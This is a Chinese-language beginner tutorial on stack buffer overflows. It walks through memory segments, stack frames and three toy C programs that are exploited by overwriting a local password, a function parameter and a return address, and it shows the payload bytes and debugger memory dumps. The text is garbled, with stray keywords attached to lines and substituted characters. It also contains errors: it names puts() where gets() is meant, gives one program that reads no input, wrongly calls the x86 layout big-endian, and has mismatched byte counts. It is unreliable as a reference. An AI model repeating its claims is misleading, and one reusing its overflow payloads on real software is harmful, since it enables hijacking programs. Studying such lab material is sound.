前言:本身刚开始看这一块,加上本身的C语言基础并很差,不少地方都是参考的其余文章,因此可能会有不少错误的地方python
puts()
)来接受输入的数据时,由于没有考虑到数据的长度的合法性,可能会形成数据超过原本的应有长度,从而覆盖掉后面的数据,以后程序读取后面的数据时便会发生各类错误,引起风险内存划分示意图程序员
(1)代码区(text segment)算法
(2)全局初始化数据区/静态数据区(Data Segment)编程
char* s = "ABC"
存储在常量区,所以只读不可改;char[] s = "ABC"
,存储在栈,所以是可改的const
修饰的全局变量也为常量(3)未初始化数据区 (Block Started by Symbol,BSS)数组
(4)堆区安全
malloc
等函数分配内存时,新分配的内存就被动态添加到堆上(堆被扩张);当利用free
等函数释放内存时,被释放的内存从堆中被剔除(堆被缩减)(5)栈区数据结构
(1)意义编程语言
一个进程在运行过程当中,代码是根据流程依次执行的,只须要访问一次,固然跳转和递归有可能使代码执行屡次,而数据通常都须要访问屡次,所以单独开辟空间以方便访问和节约空间。编辑器
临时数据及须要再次使用的代码在运行时放入栈区中,生命周期短。函数
局数据和静态数据有可能在整个程序执行过程当中都须要访问,所以单独存储管理。
堆区由用户自由分配,以便管理
(1)栈帧包括
(2)重要的寄存器
EBP
:基址寄存器,指向栈底
ebp
用来存储当前函数状态的基地址,在函数运行时不变,能够用来索引肯定函数参数或局部变量的位置ESP
:栈顶寄存器,指向栈顶
esp
用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化EIP
:程序计数器,指向的地址的值保存着下一条要进行的指令
eip
的存储内容读取指令并执行eip
随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令(3)操做栈的经常使用指令
push
:压栈,
PUSH
指令会对ESP
/RSP
/SP
寄存器的值进行减法运算,使之减去4字节(32位)或8字节(64位),而后将操做数写到上述寄存器里的指针所指向的内存中pop
:弹栈
POP
指令是PUSH
指令的逆操做:它先从栈指针指向的内存中读取数据,用以备用(一般是写到其余寄存器里),而后再将栈指针的数值加上4字节或8字节(4)函数调用过程
main函数调用fun,称main函数为caller
,被调用函数fun称为callee
:
esp
寄存器的值不断减少(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数、返回地址、调用函数的基地址,以及局部变量
callee
函数的参数逆序压入栈,(若是被调用函数calle不须要参数,则没有这一步骤)callee
压入栈后,将调用函数caller
进行调用以后的下一条指令地址做为返回地址压入栈内(即压入calle结束后须要执行的指令,以便告诉CPU这个函数调用完成以后该干什么,本例即返回到main函数的return
处),这样调用函数(caller)
的eip(指令)
信息得以保存ebp
寄存器中的值(也就是调用函数的基地址)压入栈内,并将ebp
寄存器的值更新为当前栈顶的地址(即caller的esp
地址)
caller
的 ebp(基地址)
信息得以保存。同时,ebp
被更新为被调用函数callee
的基地址(将当前栈顶地址传到ebp
寄存器内)esp
的值减去一个字节数目值,实现esp
向低字节移动callee
的局部变量等数据压入栈内eip
的指向的内存地址中的指令当被调用函数callee
完成以后,须要丢弃被调用函数callee
的状态,并将栈顶恢复为调用函数caller
的状态
首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数callee
的基地址
而后将基地址内存存储的调用函数caller
的基地址从栈内弹出,并存储到ebp
寄存器内
caller
的 ebp(基地址)
信息得以恢复。此时栈顶会指向返回地址(即esp
寄存器的值更新为被调用函数callee
执行时的ebp
的值)再将返回地址从栈内弹出,并存到eip
寄存器内。这样调用函数caller
的eip(指令)
信息得以恢复。
至此caller的函数状态就所有恢复了,以后就是继续执行调用函数的指令
(1)利用栈溢出覆盖函数的局部变量数据值
C语言中的gets()
从标准输入设备读字符串函数,其能够无限读取,不会判断上限,因此会形成溢出,因此能够利用这个漏洞来实现程序的数据以及流程的改变
如下是一个键盘输入与内置的局部变量的值的判断,而后决定是否执行特定程序的程序
#include <stdio.h> #include <stdlib.h> #include <string.h> void fun() { char password[6] = "ABCDE"; char str[6]; gets(str); str[5] = '\0'; if (strcmp(str, password) == 0){ //比较stryupassword的值是否相同 printf("开始执行python!\n"); system("python"); //开始启动python程序 } else{ printf("NO!\n"); } } int main() { fun(); return 0; }
首先在fun()处设置一个断点,表示下一步要进入fun()函数内,此时:
EIP = 0x006E18B0
ESP = 0x003EF850
EBP = 0x003EF920
fun函数开头的汇编指令:
void fun() { 006E18B0 push ebp 006E18B1 mov ebp,esp 006E18B3 sub esp,0E0h
EIP
寄存器地址存储的指令就是将ebp
寄存器内容(相应的地址)利用push
指令压入栈mov
指令将esp
寄存器的内容复制到ebp
中sub
指令将esp寄存器的内容额外减去0x0e0h
,即esp
向低地址移动0x0e0h个字节当咱们的fun函数执行到gets(str)
时,查看变量的地址以及内存的值
变量的内存位置 attack 0x006e1840 {StackOverflow.exe!attack(...)} void (...) fun 0x006e18b0 {StackOverflow.exe!fun(...)} void (...) str 0x00cffacc "烫烫烫... char[0x00000006] password 0x00cffadc "ABCDE" char[0x00000006]
内存视图 0x00CFFACC [cc cc cc cc cc cc]cc cc ???????? 0x00CFFAD4 cc cc cc cc cc cc cc cc ???????? 0x00CFFADC [41 42 43 44 45 00]cc cc ABCDE.?? 0x00CFFAE4 cc cc cc cc bc fb cf 00 ???????.
0x00CFFADC
开始即可以看出连续的6个字节对应的就是"ABCDE",即password的值,最后的是'\0'
为结束符0x00CFFACC
对应的为str的起始位置因为puts函数不会限制输入数据的长度,因此咱们能够经过输入特定字符在覆盖掉password
输入完毕后,运行到if语句时,再次查看内存
内存视图 0x00CFFACC [41 41 41 41 41 00]41 41 AAAAA.AA 0x00CFFAD4 41 41 41 41 41 41 41 41 AAAAAAAA 0x00CFFADC [41 41 41 41 41 00]cc cc AAAAA.?? 0x00CFFAE4 cc cc cc cc bc fb cf 00 ???????.
结果
结束后,此时EIP内容为main函数以后的指令地址,继续执行main函数,程序完成
注:实际上可能因编译器不一样,环境不一样,其str与password内存位置差距也不一样,须要自行判断
(2)利用栈溢出漏洞覆盖参数值
再来看一个,经过写入字符数据来覆盖整形key,使得该key值与口令相等
#include <stdio.h> #include <stdlib.h> #include <string.h> void fun(int key) { char buffer[5]; puts(buffer); if (key == 0x41424344) { //对应的char为a,b,c,d printf("开始执行python!\n"); system("python"); } else { printf("NO!\n"); } } int main() { fun(0x45464748); return 0; }
和以前相同,观察&password
以及&key
的值
内存视图 0x00D3F790 [a8 f7 d3 00]06 c0 6c 00 ???..?l. 0x00D3F798 f0 f7 d3 00 0d 1a 6c 00 ???...l. 0x00D3F7A0 [48 47 46 45]52 13 6c 00 HGFER.l. 变量内存位置 buffer 0x00D3F790 &key 0x00D3F7A0
key位于参数位置,因此经过写入20个字节数据覆盖掉key这个参数的值就能够了,让key的新值为0x41424344(即输入字符的最后四个字符为DBCA)就能够了
输入16个字符+DCBA,结果:
(3)利用栈溢出漏洞修改返回地址,实现函数的跳转
因为EBP后的四个字节为返回地址,即函数执行完以后的下一条执行的指令地址,能够经过修改该字段来实现执行特定的函数
代码以下
#include <stdio.h> #include <stdlib.h> #include <string.h> void attack() { printf("Attacked!\n"); system("python"); exit(0); } void fun() { char password[6] = "ABCDE"; char str[6]; FILE* fp; if (!(fp = fopen("H:\\SaftyTest\\StackOverflow\\password.txt", "r"))) { exit(0); } fscanf(fp, "%s", str); str[5] = '\0'; if (strcmp(str, password) == 0) printf("OK!\n"); else printf("NO!\n"); } int main(){ fun(); return 0; }
当执行到打开文本函数时,内存信息以下:
内存视图 0x00F7F6C8 [00 10 d4 00 e4 f6]f7 00 ..?.???. 0x00F7F6D0 [41 42 43 44 45 00]a2 00 ABCDE.?. 0x00F7F6D8 [2c f7 f7 00|88 17 a2 00] ,??.?.?. 变量视图 attack 0x00a21880 {StackOverflow.exe!attack(...)} void (...) fun 0x00a218e0 {StackOverflow.exe!fun(...)} void (...) str 0x00f7f6c8 "" char[0x00000006] password 0x00f7f6d0 "ABCDE" char[0x00000006]
此时attack函数地址为0x00a21880
,因此须要读入数据使得EBP
后的返回地址RET
覆盖为0x00a21880
修改password.txt的文本为以下内容,并保存:
41414141414141414141414141414141414141418018A200
共24字节,最后四位为0x8018a200
注:该内容为16进制内容,实际打开文本看到的内容可能为:
AAAAAAAAAAAAAAAAAAAA€?
这里并无考虑两个字符数组比较的问题,若是想要显示OK,只需前str与password的相同位后的值改成‘/0’便可(对应文本的16进制内容为00)
继续执行程序,内存信息以下:
0x00F7F6C8 41 41 41 41 41 00 41 41 AAAAA.AA 0x00F7F6D0 [41 41 41 41]41 41 41 41 AAAAAAAA 0x00F7F6D8 [41 41 41 41|80 18 a2 00] AAAA€.?.
程序结果:
因为本环境下C语言程序中采用大端存储,即数据的低字节在内存中的字节地址更高,因此最后将几个数据字节顺序倒置
本例子运行完python后直接退出,若是不直接退出的话会发生如(2)同样的结果,缘由也相同